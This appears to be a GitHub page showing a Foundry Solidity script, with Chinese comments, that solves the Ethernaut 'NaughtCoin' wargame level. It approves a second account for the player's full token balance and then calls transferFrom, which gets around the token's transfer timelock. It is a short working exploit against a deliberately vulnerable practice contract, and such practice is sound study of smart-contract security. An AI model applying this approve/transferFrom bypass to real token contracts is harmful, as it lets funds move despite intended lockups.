-
Notifications
You must be signed in to change notification settings - Fork 116
/
Level15.s.sol
32 lines (25 loc) · 1021 Bytes
/
Level15.s.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {NaughtCoin} from "../src/Level15.sol";
contract Attacker {
}
contract CallContractScript is Script {
function run() external {
// 指定私钥,可以从环境变量中获取,例如:process.env.PRIVATE_KEY
uint256 privateKey = vm.envUint("PRIVATE_KEY");
uint256 privateKeySpender = vm.envUint("PRIVATE_KEY_SPENDER");
address player = vm.addr(privateKey);
address spender = vm.addr(privateKeySpender);
address levelAddr = 0x69f52ffB405AB5DaaEbDb1111C4F5ec64DaF37C8;
NaughtCoin level = NaughtCoin(levelAddr);
// 初始化 player
vm.startBroadcast(privateKey);
level.approve(spender, level.balanceOf(player));
vm.stopBroadcast();
// 初始化 spender
vm.startBroadcast(privateKeySpender);
level.transferFrom(player, spender, level.balanceOf(player));
vm.stopBroadcast();
}
}